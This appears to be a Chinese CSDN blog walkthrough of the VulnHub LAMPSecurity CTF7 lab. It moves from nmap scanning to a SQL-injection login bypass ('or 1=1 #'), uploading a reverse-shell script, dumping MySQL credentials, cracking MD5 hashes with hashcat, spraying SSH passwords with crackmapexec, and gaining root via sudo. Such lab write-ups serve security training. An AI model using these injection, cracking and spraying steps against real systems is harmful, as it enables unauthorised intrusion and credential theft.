红队笔记9:CTF7打靶流程-sql注入万能密码-密码喷射(vulnhub)

目录

开头:

1.主机发现和端口扫描

2.攻击优先级分析:

3.80端口和8080端口-sql注入万能密码-报错信息泄露目录结构

4.提权-寻找敏感信息(登录凭据)

5.密码喷射登录ssh

6.总结


开头:

学习的视频是哔哩哔哩红队笔记:

「红队笔记」靶机精讲:LAMPSecurityCTF7 - 字符串魔法、密码喷射,这才是实战技术。_哔哩哔哩_bilibili

打靶时参考文章和本文借鉴文章:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_lampsecurityctf-CSDN博客

靶机下载链接见:

https://download.vulnhub.com/lampsecurity/CTF7plusDocs.zip

1.主机发现和端口扫描

参考链接nmap主机发现和端口扫描:渗透测试:主机发现和端口扫描的方法总结(nmap+arp-scan+ping命令+nc.traditional+伪设备连接)-CSDN博客

Sudo nmap -sn 192.168.254.0/24
sudo nmap -min-rate 10000 -p- 192.168.254.149
sudo nmap -sT -sV -O -p22,80,137,138,139,901,5900,8080,10000 192.168.254.149
sudo nmap -sU -min-rate 10000 -p- 192.168.254.149 
sudo nmap --script=vuln -p22,80,137,138,139,901,5900,8080,10000 192.168.254.149 

 

通过nmap信息搜集,搜集以下信息:

1.存活端口:发现存活端口80,22,139,901,8080,10000

其中80 901 8080 10000都是http 应该是部署了不同的web

2.攻击优先级分析:

80,901,8080,10000都部署了web,攻击面大

3.80端口和8080端口-sql注入万能密码-报错信息泄露目录结构

80:

8080:

80端口和8080端口一应该是前台后台关系,当我们看到登录窗口的时候就可以先尝试一下是否存在sql注入,在输入框输入’

可以看到报错,说明存在sql注入,既然存在sql注入我们就可以尝试万能密码

' or 1=1 #

登录成功(这么简单就通过sql注入万能密码进入后台 ,我觉得这也只要靶场有了,平时肯定很少遇见了)

进入后台就是常规操作,并没有发现是什么CMS就在页面找能利用的点

发现由很多用户具有管理员权限

在后台功能探针,发现我们可以更改80端口中文章的下载pdf的文件,看看我们能不能上传一个php脚本文件

测试是否能上传php文件,成功上传

上传反弹shell脚本

可以看到上传访问,发现只是单纯的将参数中的文件内容显示出来,读取出来了,没有执行,既然上传成功了,文件就一定会有一个存储的地方,我们现在的任务就是找到文件上传到的位置,访问文件即可

 在我们测试能否直接访问后门代码的时候,报错泄露了些目录结构,其实在nmap枚举出来的目录里面就要inc,inc是一个可以访问的目录

 

但是inc下并没有我们的反弹shell脚本文件,分析可以知道 inc目录是web路径对应php文件目录,并不是文件上传的存储目录。

http://192.168.254.149/read&file=payload.php

链接是这样的,php文件肯定是上传的某个目录下了,但是我们不知道。由于上面访问报错,暴露了文件目录结构,那我们尝试文件上传时,不上传文件,就提交是否会报错也暴露出对应的上传路径嘞

上传到 /var/www/html/assets/ 时出现问题,报错泄露了文件上传的目录

分析路径,web通过放在wwwhtml目录应该就是web对应的目录,尝试访问

成功进入,耶!我的php文件嘞,可以看到最后一个就是那个可下载的pdf

重新上传脚本出来了

反弹shell成功

4.提权-寻找敏感信息(登录凭据)

ip a

id 

whoami

uname -a

确定是目标主机,初步立足点是apache用户的shell,linux kernel 版本2.6.32

sudo -l

 

 tty说我没有完好的交互,

直接尝试python 获取较好的交互

成功获得较好的交互,但是使用sudo -l需要密码,但我们并没有

cat /etc/passwd
cat /etc/shadow

 看了etc/passwd文件和etc/shadow文件没有权限看\

有很多bash用户,在这个主机上,用户多,每个用户都有可能会在自己的目录下留下存放有关提权的密码文件,可以使用grep 匹配字符串

grep -R -i pass /home/* 2>/dev/null

用不了,想着上个靶场也是这样用户多,还是想的太好了,每个靶场不可能相同,定时任务也没有可以利用的点,接下来的思路就是,寻找敏感信息文件,如:

1.数据库配置文件(进入数据库UD提权,获得账号密码,尝试ssh登录等操作),

2.带有admin等关键字的文件,可能会有管理员相关的东西

最终在admin中的inc中的db.php发现了有效信息:

发现了连接数据库的db文件,发现数据库root用户,没有密码就可以登录

进入mysql

mysql -u root -p

 

获得了大量的账号密码,其中邮箱前部分名字和/etc/passwd中带有bash环境的用户名相同,所以可以尝试对这里的hash加密的密码进行解密,和账号名进行碰撞,爆破ssh。

5.密码喷射登录ssh

这里涉及的知识点有,1.魔法字符串,2.hash密码破解,3.crackmapexec密码喷射

将我们获得的账号密码写入文件,再使用awk 将密码切割出来,并保存在新的文件中

Cat Cred | awk -F’ ’ {‘print $4’} > passwd_encode  

 

hashcat进行破解hash密码(在线MD5解密会更快,但这里主要学习新知识)

hashcat -a 0 -m 0 passwd_encode /usr/share/wordlists/rockyou.txt

-m 选择破解的密文的算法 0 是 MD5

-a 是破解的手段 0 Straight(字典破解)

  /usr/share/wordlists/rockyou.txt  字典

解压成功

将破解的密码分割出来

cat passwd | awk -F':' {'print $2'} > passwd_de

同理,我们再把账号也存成一个文件username.lst:

cat Cred | awk -F' ' {'print $2'} | awk -F'@' {'print $1'} > username.txt

(我知道我之前为什么ssh爆破失败了,我用的是邮箱当账号,怎么可能用邮箱当账号啊!!!!!!!!!)

欧克!我们成功获得账号密码字典,可以进行密码喷射登录了。

知道账号和密码之后,其实我们可以直接尝试ssh登录,但有这么多账号,如果用户名和密码不对应的话手动尝试很费劲(其实这里是对应的,完全可以直接登录,这里只是为了介绍学到的知识点),我们可以试试使用密码喷射 crackmapexec,命令如下:其中--continue-on-success参数是指发现首个匹配的用户名和密码之后继续进行碰撞。

crackmapexec ssh 192.168.254.149 -u username.txt -p passwd_de --continue-on-success

 很快我们就能确认正确的账号是带有+的,还可以专门用grep过滤一下:

crackmapexec ssh 192.168.200.145 -u username.lst -p password.lst --continue-on-success | grep '+'

 爆破成功,但是我尝试用hydra (协议爆破神器)爆破报错了

与方法服务器主机密钥算法不匹配:服务器 [ssh-rsa、ssh-dss]、客户端 [ssh- ed25519、ecdsa-sha2-nistp521、ecdsa-sha2-nistp384、ecdsa-sha2-nis ,造成的原因还是因为服务器和客户端 密钥算法不匹配

为了解决这个问题,你可以尝试通过修改客户端的 SSH 配置来让客户端与服务器之间达成匹配。一种可能的解决方法是在客户端的 SSH 配置文件中指定使用服务器支持的算法

为什么使用crackmapexec就没有问题嘞

所以如果在真实环境遇见问题了,就可以多用不同工具尝试了解决

通过爆破出来的账号密码ssh登录

ssh登录,也出现了密钥不匹配的问题,但是再ssh中有解决方法

ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss user@192.168.254.149

 -o HostKeyAlgorithms=ssh-rsa,ssh-dss 这将覆盖客户端默认的主机密钥算法,并尝试连接到服务器。

登录成功

sudo -l

查看权限

ALL ALL权限
直接

Sudo /bin/bash


 提权成功

6.总结

通过这个靶场我学习到了:

思路上的学习:

1.登录窗口尝试是否存在sql注入,万能密码直接登录,

2.web报错泄露信息

3.获得的任何凭据都可以用来尝试ssh登录,

4,在拿到初步shell的时候,没有思路了多看看和admin和数据库相关的,敏感文件,配置文件这些敏感文件

工具上的学习:

1. awk 魔法字符串处理

2.crackmapexec是一个域渗透工具,有密码喷射的功能

3.hashcat 破解hash密码

靶场思路总结:

1.主机发现和端口扫描:靶机开放了很多端口,其中80和8080端口,是前后台关系

2.通过8080端口存在的登录窗口,存在sql注入,万能密码进入后台,通过报错信息得到文件上传存储目录,上传getshell脚本,反弹shell,获得初步立足点

3.寻找敏感文件,得到mysql账号密码,进入mysql得到大量凭据,并且与/etc/passwd中的用户相似,尝试破解hash密码, 密码喷射登录ssh

4.登录用户,权限很高sudo /bin/bash直接提取root

  • 24
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值